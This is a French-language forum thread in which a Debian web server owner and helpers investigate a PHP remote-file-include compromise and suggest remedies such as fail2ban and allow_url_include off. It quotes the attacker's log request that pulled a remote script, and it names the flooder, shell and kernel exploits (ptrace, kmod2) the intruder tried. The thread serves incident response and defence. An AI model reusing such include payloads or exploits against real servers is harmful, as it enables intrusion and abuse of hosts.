Piratage serveur Web :(

Bonjour,

Je possède un site Web sur un serveur Debian. Et ce matin à ma grande surprise, je remarque que tous les fichiers à la racine ( var/www/ ) ont disparu. Mais comment aucune idée.
Est ce que vous pensez que je pourrai savoir de quand et surtout comment mon serveur a été attaqué ? Afin de se proteger davantage …
Est ce qu’il existe des log avec tous les “rm” ( remove ) ?

De plus ils ont supprimé le dossier phpmyadmin mais heureusement la base de données est encore la. Comment dois je proceder pour remettre phpmyadmin en place sans effacer la BD ?

Merci bcp pour votre aide, car la je ne sais plus trop quoi faire et surtout je ne comprends pas les personnes qui agissent comme cela…

Cordialement
Kilian

phpmyadmin n’est qu’une interface graphique pour gérer tes bases de données donc tu peux le reinstaller directement comme ça
si tu crains pour tes bases fais-en un dump avant

voir man mysqldump

Pour plus de sécurité afin d’avoir au pire une sauvegarde de tes données lors de ce genre de problème regarde du coté de backup-manager ça peux aider

hello
Je ne sai pas ce qui te fait penser que tu t’es fait pirater…
Mai en gros tu peux taper : history ou regarder les fichier des historique des consoles dans les répertoires des utilisateur. mai le “pirate” a pu les modifier!

renforcer la sécu ? il y pas mal d’option 8)

Personnellement j’ai trafiquer le rm par un truc a moi pour éviter les fausse manipes :slightly_smiling:
Il y a celle qui est moins propre que l’autre, mai plus rapide. bref sa fait un rm par utilisateur.
ensuite via iptable tu peux filtrer les utilisateurs qui on le droit de sortir (modul ower il me semble), bref -j’ai encore modifier avec une option du module string mai c’ est facile a passer.

Mai je pense plutôt a une erreur de disque ou c’elle d’un utilisateur.
il a des utilitaire , tripewire par exemple et bien d’autres

#!/bin/sh
# note je renomme le rm en rm2 et met le script a la place. si je fait une mise a jours je restaure le rm pour éviter un bug. simple mai efficace.
#find "$p" -user "pouet" -print0 | xargs -0 /bin/rm -f 2>/dev/null && find "$p" -user "pouet" -print0 | xargs -0 /bin/rmdir -p 2>/dev/null
find "$1" -user "$2" -exec /bin/rm -vf '{}' \; 2>/dev/null && find "$1" -user "$2"  -exec  /bin/rmdir -p '{}' \; 2>/dev/null

Merci à vous deux pour vos aides :
Cependant je viens de trouver d’où provener le probleme.
Apres une plus longue recherche j’ai trouvé dans mes log APACHE la ligne suivante :
189.13.209.158 - - [13/Nov/2007:03:31:56 +0100] “GET /index.php?page=http://Domaine.com/own.txt? HTTP/1.1” 404 315 “-” "Mozilla/3.0 (compatible; Indy Library)"
J’ai remplacé le vrai nom de domaine par domaine.com pour pas diffuser le “virus”

Le “pirate” a utilisé la faille include de mon code PHP, que je pensais avoir protégé mais voila lui est passé à travers

Je viens d’ouvrir le own.txt mais je ne comprends pas trop le script par conséquent aucune idée de ce qu’il a pu faire sur le serveur que je n’aurai peut être pas remarqué
bffff…

Merci bcp

Montre le script own.txt pour voir

ouaip je suis curieux aussi :wink:
sinon il y a des exploits utilisant des failles de sécurité dans phpmyadmin, si vous n’en avez pas réellement besoin ne l’installez pas.

Le own.txt fait plus de 350lignes je l’ai mis sur le serveur :
entreprise-pc.com/virusweb.txt

A la louche tu as la totale, un serveur SMTP, un générateur de flood UDP/TCP, un shell local.
Tu dois avoir des répertoires .quelquechose sous /var/www
(.udpserver, .pscan ??)
C’est juste une première lecture attentive.

Passionnant ton truc. :slightly_smiling:

PS: C’est un hispanophone qui a fait le coup on dirait
RePS: Vérifie toute ta machine, elle est potentiellement complètement compromise.

Vérifies que tu n’as rien sur le port 2526 et donne un

netstat -tupl

PS: Si tu peux, n’efface rien sans avoir fait un .tgz avant, ça m’intéresse ce truc

quote="fran.b"
PS: C’est un hispanophone qui a fait le coup on dirait[/quote]Lusophone, plutot. Un brésilien nommé Joao ?
C’est bizarre, parcequ’en remontant jusqu’au serveur, on arrive sur une adresse en israel.[quote=“fran.b”]RePS: Vérifie toute ta machine, elle est potentiellement complètement compromise.[/quote]Elle est compromise, puisque le rootkit est installé. Le seul moyen de la rendre sûre, c’est de sauvegarder la config et réinstaller.

Si je fais un ls -all sur /var/www/
La seule chose que je vois avec .nomdefichier c’est :
drwxrwxrwx 52 root root 4096 2007-11-13 11:42 .
drwxr-xr-x 15 root root 4096 2006-11-14 15:09 …
-rw------- 1 www-data www-data 1365 2007-11-13 02:58 .bash_history

C’est tout

Si je fais un :

netstat -tupl

je ne vois pas de port 2526

Vous pensez que je dois réinstaller tout le serveur ?!?!

Attends, en tout cas fais une image disque, tu as l’occasion d’apprendre plein de truc, ne la laisse pas tomber…

Qu’y a-t-il dans le .bash_history, si cet abruti n’a pas fait attention, tu sauras ce qu’il a tapé. Regarde la date des fichiers et vérifies les entrées de root dans le auth.log pour voir si il a eu les droits root (j’ai un doute).

Si ton serveur est important, Matt a raison, si tu peux changes le disque et fais une machine neuve. Sinon, si ça n’est pas important, surveilles bien et décortiques ta machine.

[edit: Si tu ne sais pas qui écouter, écoute Matt, moi je crève d’envie de voir ce qu’a fait le gars mais dans l’absolu, la règle de Matt est bonne: une machine compromise est compromise et doit être refaite. Mais bon, les règles sont faites pour être transgressées et la curiosité est un puissant aiguillon]

Voila le contenu de mon bash_history.
Et je vois qu’il y a des choses qui on été faites sur mon serveur :frowning:
entreprise-pc.com/bash_history.txt

Vous en pensez quoi ?

De plus je viens de regarder les fichiers auth.log et ils sont pleins de Flood, des personnes qui test via le SSh et via le FTP c’est enorme toutes les secondes…
Existe il des solutions ?
Merci beaucoup car la je suis un peu perdu

Hum, il a essayé la faille ptrace et une autre faille root (kmod2[edit: il essaye la faille syscall trace qui est aussi la faille ptrace, c’est vieux ça]). Reste à voir si tu es sensible à ces failles. Quel est ton noyau?
Sur une sarge ça ne donne rien…

Pour les requêtes ssh et ftp, ça n’est rien, tu peux mettre un system via ipt_recent pour limiter les accès afin de ne pas avoir les logs remplis (J’ai eu jusqu’à 28000 essais sur ftp venant d’une seule IP :slightly_smiling:)…

Piraté pour piraté, amuses-toi sous la direction de fan.b puis, refais-toi un serveur propre avec cette fois la directive allow_url_include à off dans le php.ini!

Ou teste tes $_GET[‘page’] avant de les passer à include().

Ma version linux
Linux debian 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linux

Mais on peut pas bloquer via un firewall les Ip qui tentent plus de 10fois par exemple ?

ripat : je ne connaissais pas allow_url_include à off dans le php.ini! Merci pour l’info

Bon, après étude du binaire de kmod2, je pense que c’est une reprise quasi intégrale de http://boisson.homeip.net/kmod.c que j’ai récupéré sur Internet. Bref, à mon avis il n’a pas eu les droits root.

bircd est un serveur IRC apparemment qui doit pouvoir servir de shell.

quote="ewkilian"
Mais on peut pas bloquer via un firewall les Ip qui tentent plus de 10fois par exemple ?
(…)[/quote]

[code]roc@roc:/usr/src/linux-2.6.23.1$ aptitude show fail2ban
Paquet : fail2ban
État: installé
Automatiquement installé: oui
Version : 0.8.1-2
Priorité : optionnel
Section : net
Responsable : Yaroslav Halchenko debian@onerussian.com
Taille décompressée : 586k
Dépend: python-central (>= 0.5.8), python (>= 2.4), iptables, lsb-base (>= 2.0-7)
Suggère: python-gamin, mailx
Description : bans IPs that cause multiple authentication errors
Monitors log files (e.g. /var/log/auth.log, /var/log/apache/access.log) and temporarily or persistently bans failure-prone addresses by updating existing
firewall rules. The software was completely rewritten at version 0.7.0 and now allows easy specification of different actions to be taken such as to ban an
IP using iptables or hostsdeny rules, or simply to send a notification email. Currently, by default, supports ssh/apache/vsftpd but configuration can be
easily extended for monitoring any other ASCII file. All filters and actions are given in the config files, thus fail2ban can be adopted to be used with a
variety of files and firewalls.

Homepage: http://www.fail2ban.org

Marqueurs: admin::{automation, firewall, ids, implemented-in::python, interface::commandline, interface::daemon, log-analyzer}, logging, monitoring},
network::firewall, protocol::ip, role::program, security::{authentication, use::login, use::monitor, works-with::logfile, works-with::text,
works-with-format::plaintext
[/code]

La faille ptrace a été comblé sur sarge depuis le 2.4.20 donc ça date. À mon avis, il n’a pas pu avoir les droits root. Tu as lancé un chkrootkit?
Tu peux également vérifier les différences des fichiers entre la version installée et la version présente:

[code]# cat /var/lib/dpkg/info/*.md5sums > /tmp/d1

cd /

cat /var/lib/dpkg/info/*.md5sums | awk ‘{print "md5sum "$2}’ | sh > /tmp/d2

$ diff -urN /tmp/d1 /tmp/d2
[/code]
Attention c’est long

J’ai regardé les outils que le gars pouvait avoir sur le site d’où il téléchargeait ptrace-kmod, kmod2, etc (et j’ai averti un des webmaster, à mon avis, ils se sont fait avoir…) Les outils sont assez anciens. Si le gars n’a pas effacé le .bash_history sous /var/www, c’est que c’est une crêpe… un gars qui ne sait que lancer des scripts.